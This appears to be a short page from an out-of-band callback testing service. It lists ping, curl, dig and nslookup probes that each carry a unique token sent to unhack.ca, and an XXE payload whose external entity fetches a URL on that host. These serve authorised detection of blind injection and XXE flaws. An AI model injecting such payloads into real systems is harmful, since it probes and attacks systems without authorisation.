$ ping -c1 -p 00f1bcd492a9066efc6bda5b94adb600 unhack.ca
 
$ curl http://unhack.ca/p/f1bcd492a9066efc6bda5b94adb6
 
$ dig f1bcd492a9066efc6bda5b94adb6 @unhack.ca
 
$ dig f1bcd492a9066efc6bda5b94adb6.ns.unhack.ca
 
C:\> nslookup f1bcd492a9066efc6bda5b94adb6 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f1bcd492a9066efc6bda5b94adb6">]>
    <foo>&xxe;</foo>
Waiting for ping...